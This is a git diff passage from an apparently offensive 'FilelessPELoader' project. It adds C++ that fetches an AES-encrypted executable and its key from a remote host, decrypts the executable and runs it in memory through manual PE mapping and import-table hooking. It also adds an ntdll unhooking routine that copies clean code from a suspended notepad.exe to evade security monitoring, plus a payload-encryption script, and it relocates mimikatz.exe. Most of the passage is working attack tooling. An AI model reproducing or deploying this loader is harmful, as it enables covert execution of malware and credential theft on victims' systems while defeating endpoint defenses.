WINHTTP_NO_ADDITIONAL_HEADERS, + 0, WINHTTP_NO_REQUEST_DATA, 0, + 0, 0); + else + printf("Failed in WinHttpSendRequest (%u)\n", GetLastError()); + + // End the request. + if (bResults) + bResults = WinHttpReceiveResponse(hRequest, NULL); + else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError()); + + // Keep checking for data until there is nothing left. + if (bResults) + do + { + // Check for available data. + dwSize = 0; + if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) + printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError()); + + // Allocate space for the buffer. + pszOutBuffer = new char[dwSize + 1]; + if (!pszOutBuffer) + { + printf("Out of memory\n"); + dwSize = 0; + } + else + { + // Read the Data. + ZeroMemory(pszOutBuffer, dwSize + 1); + + if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, + dwSize, &dwDownloaded)) + printf("Error %u in WinHttpReadData.\n", GetLastError()); + else { + + buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded); + + } + delete[] pszOutBuffer; + } + + } while (dwSize > 0); + + if (buffer.empty() == TRUE) + { + printf("Failed in retrieving the Shellcode"); + } + + // Report any errors. + if (!bResults) + printf("Error %d has occurred.\n", GetLastError()); + + // Close any open handles. + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + size_t size = buffer.size(); + + char* bufdata = (char*)malloc(size); + for (int i = 0; i < buffer.size(); i++) { + bufdata[i] = buffer[i]; + } + data.data = bufdata; + data.len = size; + return data; +} + +//cmdline args vars +BOOL hijackCmdline = FALSE; +char* sz_masqCmd_Ansi = NULL; +char* sz_masqCmd_ArgvAnsi[100]; +wchar_t* sz_masqCmd_Widh = NULL; +wchar_t* sz_masqCmd_ArgvWidh[100]; +wchar_t** poi_masqArgvW = NULL; +char** poi_masqArgvA = NULL; +int int_masqCmd_Argc = 0; +struct MemAddrs* pMemAddrs = NULL; +DWORD dwTimeout = 0; + +//PE vars +BYTE* pImageBase = NULL; +IMAGE_NT_HEADERS* ntHeader = NULL; + +//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- + +LPWSTR hookGetCommandLineW() +{ + return sz_masqCmd_Widh; +} + +LPSTR hookGetCommandLineA() +{ + return sz_masqCmd_Ansi; +} + +char*** __cdecl hook__p___argv(void) +{ + return &poi_masqArgvA; +} + +wchar_t*** __cdecl hook__p___wargv(void) +{ + + return &poi_masqArgvW; +} + +int* __cdecl hook__p___argc(void) +{ + return &int_masqCmd_Argc; +} + +int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) +{ + *_Argc = int_masqCmd_Argc; + *_Argv = poi_masqArgvW; + + return 0; +} + +int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) +{ + *_Argc = int_masqCmd_Argc; + *_Argv = poi_masqArgvA; + + return 0; +} + +_onexit_t __cdecl hook_onexit(_onexit_t function) +{ + return 0; +} + +int __cdecl hookatexit(void(__cdecl* func)(void)) +{ + return 0; +} + +int __cdecl hookexit(int status) +{ + //_cexit() causes cmd.exe to break for reasons unknown... + ExitThread(0); + return 0; +} + +void __stdcall hookExitProcess(UINT statuscode) +{ + ExitThread(0); +} +void masqueradeCmdline() +{ + //Convert cmdline to widestring + int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); + sz_masqCmd_Widh = (wchar_t*)calloc(required_size + 1, sizeof(wchar_t)); + MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); + + //Create widestring array of pointers + poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); + + //Manual function equivalent for CommandLineToArgvA + int retval; + int memsize = int_masqCmd_Argc * sizeof(LPSTR); + for (int i = 0; i < int_masqCmd_Argc; ++i) + { + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); + memsize += retval; + } + + poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); + + int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); + LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); + for (int i = 0; i < int_masqCmd_Argc; ++i) + { + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); + poi_masqArgvA[i] = buffer; + buffer += retval; + bufLen -= retval; + } + + hijackCmdline = TRUE; +} + +//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array +void freeargvA(char** array, int Argc) +{ + //Wipe cmdline args from beacon memory + for (int i = 0; i < Argc; i++) + { + memset(array[i], 0, strlen(array[i])); + } + LocalFree(array); +} + +//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN +void freeargvW(wchar_t** array, int Argc) +{ + //Wipe cmdline args from beacon memory + for (int i = 0; i < Argc; i++) + { + memset(array[i], 0, wcslen(array[i]) * 2); + } + LocalFree(array); +} + +char* GetNTHeaders(char* pe_buffer) +{ + if (pe_buffer == NULL) return NULL; + + IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; + if (idh->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + const LONG kMaxOffset = 1024; + LONG pe_offset = idh->e_lfanew; + if (pe_offset > kMaxOffset) return NULL; + IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((char*)pe_buffer + pe_offset); + if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; + return (char*)inh; +} + +IMAGE_DATA_DIRECTORY* GetPEDirectory(PVOID pe_buffer, size_t dir_id) +{ + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; + + char* nt_headers = GetNTHeaders((char*)pe_buffer); + if (nt_headers == NULL) return NULL; + + IMAGE_DATA_DIRECTORY* peDir = NULL; + + IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; + peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); + + if (peDir->VirtualAddress == NULL) { + return NULL; + } + return peDir; +} + +bool RepairIAT(PVOID modulePtr) +{ + IMAGE_DATA_DIRECTORY* importsDir = GetPEDirectory(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); + if (importsDir == NULL) return false; + + size_t maxSize = importsDir->Size; + size_t impAddr = importsDir->VirtualAddress; + + IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; + size_t parsedSize = 0; + + for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { + lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); + + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; + LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); + + size_t call_via = lib_desc->FirstThunk; + size_t thunk_addr = lib_desc->OriginalFirstThunk; + if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; + + size_t offsetField = 0; + size_t offsetThunk = 0; + while (true) + { + IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetField + call_via); + IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)(size_t(modulePtr) + offsetThunk + thunk_addr); + + if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) + { + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); + fieldThunk->u1.Function = addr; + } + + if (fieldThunk->u1.Function == NULL) break; + + if (fieldThunk->u1.Function == orginThunk->u1.Function) { + + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr)+orginThunk->u1.AddressOfData); + LPSTR func_name = (LPSTR)by_name->Name; + + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); + + + if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) + { + fieldThunk->u1.Function = (size_t)hookGetCommandLineA; + } + else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) + { + fieldThunk->u1.Function = (size_t)hookGetCommandLineW; + } + else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) + { + fieldThunk->u1.Function = (size_t)hook__wgetmainargs; + } + else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) + { + fieldThunk->u1.Function = (size_t)hook__getmainargs; + } + else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___argv; + } + else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___wargv; + } + else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) + { + fieldThunk->u1.Function = (size_t)hook__p___argc; + } + else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) + { + fieldThunk->u1.Function = (size_t)hookexit; + } + else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) + { + fieldThunk->u1.Function = (size_t)hookExitProcess; + } + else + fieldThunk->u1.Function = addr; + + } + offsetField += sizeof(IMAGE_THUNK_DATA); + offsetThunk += sizeof(IMAGE_THUNK_DATA); + } + } + return true; +} + +void PELoader(char* data, DWORD datasize) +{ + masqueradeCmdline(); + + unsigned int chksum = 0; + for (long long i = 0; i < datasize; i++) { chksum = data[i] * i + chksum / 3; }; + + BYTE* pImageBase = NULL; + LPVOID preferAddr = 0; + DWORD OldProtect = 0; + + IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)GetNTHeaders(data); + if (!ntHeader) { + exit(0); + } + + IMAGE_DATA_DIRECTORY* relocDir = GetPEDirectory(data, IMAGE_DIRECTORY_ENTRY_BASERELOC); + preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase; + + + HMODULE dll = LoadLibraryA("ntdll.dll"); + ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase); + + pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!pImageBase) { + if (!relocDir) { + exit(0); + } + else { + pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!pImageBase) + { + exit(0); + } + } + } + + // FILL the memory block with PEdata + ntHeader->OptionalHeader.ImageBase = (size_t)pImageBase; + memcpy(pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders); + + IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)(size_t(ntHeader) + sizeof(IMAGE_NT_HEADERS)); + for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) + { + memcpy(LPVOID(size_t(pImageBase) + SectionHeaderArr[i].VirtualAddress), LPVOID(size_t(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData); + } + + // Fix the PE Import addr table + RepairIAT(pImageBase); + + // AddressOfEntryPoint + size_t retAddr = (size_t)(pImageBase)+ntHeader->OptionalHeader.AddressOfEntryPoint; + + EnumThreadWindows(0, (WNDENUMPROC)retAddr, 0); +} + +LPVOID getNtdll() { + LPVOID pntdll = NULL; + + //Create our suspended process + STARTUPINFOA si; + PROCESS_INFORMATION pi; + ZeroMemory(&si, sizeof(si)); + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); + + if (!pi.hProcess) + { + printf("[-] Error creating process\r\n"); + return NULL; + } + + //Get base address of NTDLL + HANDLE process = GetCurrentProcess(); + MODULEINFO mi; + HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); + GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); + + pntdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage); + SIZE_T dwRead; + BOOL bSuccess = ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll, pntdll, mi.SizeOfImage, &dwRead); + if (!bSuccess) { + printf("Failed in reading ntdll (%u)\n", GetLastError()); + return NULL; + } + + TerminateProcess(pi.hProcess, 0); + return pntdll; +} + +BOOL Unhook(LPVOID cleanNtdll) { + + char nt[] = { 'n','t','d','l','l','.','d','l','l', 0 }; + + HANDLE hNtdll = GetModuleHandleA(nt); + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)cleanNtdll; + PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((DWORD64)cleanNtdll + DOSheader->e_lfanew); + int i; + + // find .text section + for (i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { + PIMAGE_SECTION_HEADER sectionHdr = (PIMAGE_SECTION_HEADER)((DWORD64)IMAGE_FIRST_SECTION(NTheader) + ((DWORD64)IMAGE_SIZEOF_SECTION_HEADER * i)); + + char txt[] = { '.','t','e','x','t', 0 }; + + if (!strcmp((char*)sectionHdr->Name, txt)) { + + // prepare ntdll.dll memory region for write permissions. + BOOL ProtectStatus1 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), + sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); + if (!ProtectStatus1) { + printf("Failed to change the protection (%u)\n", GetLastError()); + return FALSE; + } + + // copy .text section from the mapped ntdll to the hooked one + memcpy((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)cleanNtdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); + + + // restore original protection settings of ntdll + BOOL ProtectStatus2 = VirtualProtect((LPVOID)((DWORD64)hNtdll + sectionHdr->VirtualAddress), + sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); + if (!ProtectStatus2) { + printf("Failed to change the protection back (%u)\n", GetLastError()); + return FALSE; + } + + } + } + return TRUE; +} + +int main(int argc, char** argv) { + if (argc != 5) { + printf("[+] Usage: %s \n", argv[0]); + return 1; + } + + char* host = argv[1]; + + DWORD port = atoi(argv[2]); + + char* pe = argv[3]; + + char* key = argv[4]; + + const size_t cSize1 = strlen(host) + 1; + wchar_t* whost = new wchar_t[cSize1]; + mbstowcs(whost, host, cSize1); + + const size_t cSize2 = strlen(pe) + 1; + wchar_t* wpe = new wchar_t[cSize2]; + mbstowcs(wpe, pe, cSize2); + + const size_t cSize3 = strlen(key) + 1; + wchar_t* wkey = new wchar_t[cSize3]; + mbstowcs(wkey, key, cSize3); + + printf("\n\n[+] Get AES Encrypted PE from %s:%d\n", host, port); + DATA PE = GetData(whost, port, wpe); + if (!PE.data) { + printf("[-] Failed in getting AES Encrypted PE\n"); + return -1; + } + + printf("\n[+] Get AES Key from %s:%d\n", host, port); + DATA keyData = GetData(whost, port, wkey); + if (!keyData.data) { + printf("[-] Failed in getting key\n"); + return -2; + } + printf("\n[+] AES PE Address : %p\n", PE.data); + printf("\n[+] AES Key Address : %p\n", keyData.data); + + printf("\n[+] Decrypt the PE \n"); + DecryptAES((char*)PE.data, PE.len, (char*)keyData.data, keyData.len); + printf("\n[+] PE Decrypted\n"); + + // Fixing command line + sz_masqCmd_Ansi = (char*)"whatEver"; + + printf("\n[+] Loading and Running PE\n"); + PELoader((char*)PE.data, PE.len); + + printf("\n[+] Finished\n"); + + return 0; +} diff --git a/README.md b/README.md index 5bc0482..8c607a9 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,9 @@ Loading Remote AES Encrypted PE in memory , Decrypted it and run it +### Building + +Run build.bat if you are building it first time, then you can build it after changes from **VS** command prompt. ### Usage : ![CipherKey](https://raw.githubusercontent.com/illegal-instruction-co/FilelessPELoader/main/assets/1.png) diff --git a/assets/1.png b/assets/1.png new file mode 100644 index 0000000..54904e6 Binary files /dev/null and b/assets/1.png differ diff --git a/assets/2.png b/assets/2.png new file mode 100644 index 0000000..f3c0fdc Binary files /dev/null and b/assets/2.png differ diff --git a/build.bat b/build.bat new file mode 100644 index 0000000..6f850b5 --- /dev/null +++ b/build.bat @@ -0,0 +1,6 @@ +del "./build" /s /q +mkdir "./build" +echo "../build.bat" > "./build/build.bat" +cd "./build" +cmake .. +cd "../" diff --git a/build_helper.bat b/build_helper.bat new file mode 100644 index 0000000..6f850b5 --- /dev/null +++ b/build_helper.bat @@ -0,0 +1,6 @@ +del "./build" /s /q +mkdir "./build" +echo "../build.bat" > "./build/build.bat" +cd "./build" +cmake .. +cd "../" diff --git a/aes.py b/tools/aes.py similarity index 96% rename from aes.py rename to tools/aes.py index 7805c6a..eb470bc 100644 --- a/aes.py +++ b/tools/aes.py @@ -1,36 +1,35 @@ -import sys -from Crypto.Cipher import AES -from Crypto.Util.Padding import pad -from os import urandom -import hashlib - -def AESencrypt(plaintext, key): - k = hashlib.sha256(KEY).digest() - iv = 16 * b'\x00' - plaintext = pad(plaintext, AES.block_size) - cipher = AES.new(k, AES.MODE_CBC, iv) - ciphertext = cipher.encrypt(plaintext) - return ciphertext,key - -def dropFile(key, ciphertext): - with open("cipher.bin", "wb") as fc: - fc.write(ciphertext) - with open("key.bin", "wb") as fk: - fk.write(key) - #print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };') - #print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };') - - -try: - file = open(sys.argv[1], "rb") - content = file.read() -except: - print("Usage: .\AES_cryptor.py PAYLOAD_FILE") - sys.exit() - - -KEY = urandom(16) -ciphertext, key = AESencrypt(content, KEY) - -dropFile(KEY,ciphertext) - +import sys +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad +from os import urandom +import hashlib + +def AESencrypt(plaintext, key): + k = hashlib.sha256(KEY).digest() + iv = 16 * b'\x00' + plaintext = pad(plaintext, AES.block_size) + cipher = AES.new(k, AES.MODE_CBC, iv) + ciphertext = cipher.encrypt(plaintext) + return ciphertext,key + +def dropFile(key, ciphertext): + with open("cipher.bin", "wb") as fc: + fc.write(ciphertext) + with open("key.bin", "wb") as fk: + fk.write(key) + #print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };') + #print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };') + + +try: + file = open(sys.argv[1], "rb") + content = file.read() +except: + print("Usage: .\AES_cryptor.py PAYLOAD_FILE") + sys.exit() + + +KEY = urandom(16) +ciphertext, key = AESencrypt(content, KEY) + +dropFile(KEY,ciphertext) diff --git a/mimikatz.exe b/tools/mimikatz.exe similarity index 100% rename from mimikatz.exe rename to tools/mimikatz.exe